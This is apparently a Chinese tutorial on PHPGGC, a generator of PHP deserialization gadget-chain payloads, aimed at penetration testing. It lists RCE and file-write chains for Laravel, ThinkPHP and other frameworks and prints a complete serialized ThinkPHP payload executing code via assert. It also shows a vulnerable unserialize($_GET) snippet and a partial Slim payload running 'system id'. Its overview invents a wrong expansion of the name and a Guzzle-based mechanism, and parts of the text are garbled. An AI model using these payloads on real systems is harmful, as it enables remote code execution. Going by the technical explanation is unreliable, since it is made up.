PHP安全測(cè)試秘密武器 PHPGGC
概述
PHPGGC,全稱(chēng)為“PHP Guzzle Getters and Setters”,是一個(gè)庫(kù),包含了預(yù)構(gòu)建的Guzzle HTTP客戶(hù)端請(qǐng)求對(duì)象,這些對(duì)象可以被用來(lái)利用PHP應(yīng)用中的反射或魔術(shù)方法漏洞。它的核心價(jià)值在于簡(jiǎn)化了對(duì)PHP應(yīng)用程序潛在漏洞的探測(cè)過(guò)程,特別是對(duì)于那些可能存在的命令注入漏洞。
PHPGGC是一個(gè)unserialize()有效負(fù)載庫(kù),沿著一個(gè)從命令行或編程方式生成它們的工具。當(dāng)在您沒(méi)有代碼的網(wǎng)站上遇到未序列化時(shí),或者只是試圖構(gòu)建漏洞時(shí),此工具允許您生成有效負(fù)載,而無(wú)需通過(guò)查找小工具并組合它們的繁瑣步驟。它可以被看作是frohoff的ysoserial的等價(jià)物,但用于PHP。
目前,該工具支持小工具鏈,如:CodeIgniter 4,Doctrine,Drupal 7,Guzzle,Laravel,Magento,Monolog,Phalcon,Podio,Slim,SwiftMailer,Symfony,Wordpress,Yii和ZendFramework。
技術(shù)分析
該項(xiàng)目基于PHP編寫(xiě),并且利用了Guzzle,這是一個(gè)流行的HTTP客戶(hù)端庫(kù),能夠處理HTTP請(qǐng)求。PHPGGC通過(guò)創(chuàng)建特殊的GETters和SETters,它們?cè)诎l(fā)送HTTP請(qǐng)求時(shí)可以被惡意構(gòu)造,從而觸發(fā)不安全的代碼執(zhí)行。這種構(gòu)造方式使得安全研究人員能夠在各種不同的場(chǎng)景中快速驗(yàn)證是否存在代碼注入風(fēng)險(xiǎn),而無(wú)需手動(dòng)編寫(xiě)復(fù)雜的payload。
PHPGGC還支持命令行界面(CLI),允許用戶(hù)輕松地生成或搜索所需的GGC有效載荷。此外,其代碼結(jié)構(gòu)清晰,易于擴(kuò)展,意味著你可以根據(jù)需要添加新的GGC類(lèi)型或者自定義功能。
應(yīng)用場(chǎng)景
- 滲透測(cè)試:在進(jìn)行安全審計(jì)時(shí),可以直接使用PHPGGC生成的payload嘗試觸發(fā)潛在的命令注入漏洞。
- 教育與學(xué)習(xí):理解如何構(gòu)建這類(lèi)攻擊載荷有助于提高開(kāi)發(fā)者的安全意識(shí)。
- 自動(dòng)化安全工具:集成到自動(dòng)化安全掃描工具中,可以大規(guī)模檢測(cè)目標(biāo)系統(tǒng)的安全性。
命令行使用
運(yùn)行PHPGGC需要 PHP >= 5.6。
下載項(xiàng)目
git clone https://github.com/ambionics/phpggc.git
cd phpggc/
運(yùn)行./phpggc -l獲取gadget鏈列表。
$ php ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE: Function Call __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE: Command __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE: Function Call __destruct
CodeIgniter4/FD1 <= 4.3.6 File delete __destruct
CodeIgniter4/FD2 <= 4.3.7 File delete __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE: Function Call __toString
Laravel/RCE11 5.4.0 <= 9.1.8+ RCE: Function Call __destruct
Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE: Function Call __destruct *
Laravel/RCE13 5.3.0 <= 9.5.1+ RCE: Function Call __destruct *
Laravel/RCE14 5.3.0 <= 9.5.1+ RCE: Function Call __destruct
Laravel/RCE15 5.5.0 <= v9.5.1+ RCE: Function Call __destruct
Laravel/RCE16 5.6.0 <= v9.5.1+ RCE: Function Call __destruct
Laravel/RCE17 10.31.0 RCE: Function Call __destruct
Laravel/RCE18 10.31.0 RCE: PHP Code __destruct *
Laravel/RCE19 10.34 RCE: Command __destruct
Symfony/RCE14 1.2.0 <= 1.2.12 RCE: Function Call __wakeup *
Symfony/RCE15 1.0.0 <= 1.1.9 RCE: Function Call __wakeup *
Symfony/RCE16 1.1.0 <= 1.5.18 RCE: Function Call Serializable *
TCPDF/FD1 <= 6.3.5 File delete __destruct *
ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
ThinkPHP/RCE1 5.1.x-5.2.x RCE: Function Call __destruct *
ThinkPHP/RCE2 5.0.24 RCE: Function Call __destruct *
ThinkPHP/RCE3 -6.0.1+ RCE: Function Call __destruct
ThinkPHP/RCE4 -6.0.1+ RCE: Function Call __destruct
Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
...
過(guò)濾器小工具鏈 `ThinkPHP。
$ php ./phpggc -l ThinkPHP
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
ThinkPHP/RCE1 5.1.x-5.2.x RCE: Function Call __destruct *
ThinkPHP/RCE2 5.0.24 RCE: Function Call __destruct *
ThinkPHP/RCE3 -6.0.1+ RCE: Function Call __destruct
ThinkPHP/RCE4 -6.0.1+ RCE: Function Call __destruct
每個(gè)小工具鏈都有。
- Name:框架/庫(kù)的名稱(chēng)
- Version:小工具所使用的框架/庫(kù)的版本
- Type:利用類(lèi)型:RCE,文件寫(xiě)入,文件讀取,包含
- Vector:反序列化后觸發(fā)鏈的向量(__destruct(),__toString(),offsetGet(),...)
- Informations:關(guān)于鏈條的其他信息
使用-i獲取有關(guān)鏈的詳細(xì)信息
$ php ./phpggc -i ThinkPHP/RCE4
Name : ThinkPHP/RCE4
Version : -6.0.1+
Type : RCE: Function Call
Vector : __destruct
./phpggc ThinkPHP/RCE4 <function> <parameter>
運(yùn)行./phpggc <gadget-chain> [parameters]以獲取有效負(fù)載。
$ php ./phpggc ThinkPHP/RCE4 assert 'phpinfo()'
O:17:"think\model\Pivot":9:{s:19:"think\Modelexists";b:1;s:18:"think\Modelforce";b:1;s:21:"think\ModellazySave";b:1;s:9:"*suffix";O:17:"think\model\Pivot":9:{s:19:"think\Modelexists";N;s:18:"think\Modelforce";N;s:21:"think\ModellazySave";N;s:9:"*suffix";N;s:17:"think\Modeldata";a:1:{s:3:"key";a:1:{s:3:"key";s:9:"phpinfo()";}}s:21:"think\ModelwithAttr";a:1:{s:3:"key";a:1:{s:3:"key";s:6:"assert";}}s:7:"*json";a:1:{i:0;s:3:"key";}s:12:"*jsonAssoc";b:1;s:12:"*withEvent";N;}s:17:"think\Modeldata";a:1:{s:3:"key";a:1:{s:3:"key";s:9:"phpinfo()";}}s:21:"think\ModelwithAttr";N;s:7:"*json";N;s:12:"*jsonAssoc";N;s:12:"*withEvent";b:0;}
Wrapper
例如,如果易受攻擊的代碼看起來(lái)像這樣:tinywan_wrapper.php 腳本
<?php
$data = unserialize($_GET['data']);
print $data['message'];
執(zhí)行結(jié)果
php ./phpggc -w ./my_wrapper.php slim/rce1 system id
PHP Notice: Undefined index: data in /home/www/build/phpggc/my_wrapper.php on line 2
PHP Notice: Trying to access array offset on value of type bool in /home/www/build/phpggc/tinywan_wrapper.php on line 3
ERROR: Wrapper file does not define process_parameters(), process_object() or process_serialized()
你可以使用__toString()鏈,像這樣包裝它:tinywan_wrapper2.php 腳本
php ./phpggc -w ./tinywan_wrapper2.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{s:10:"*headers";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"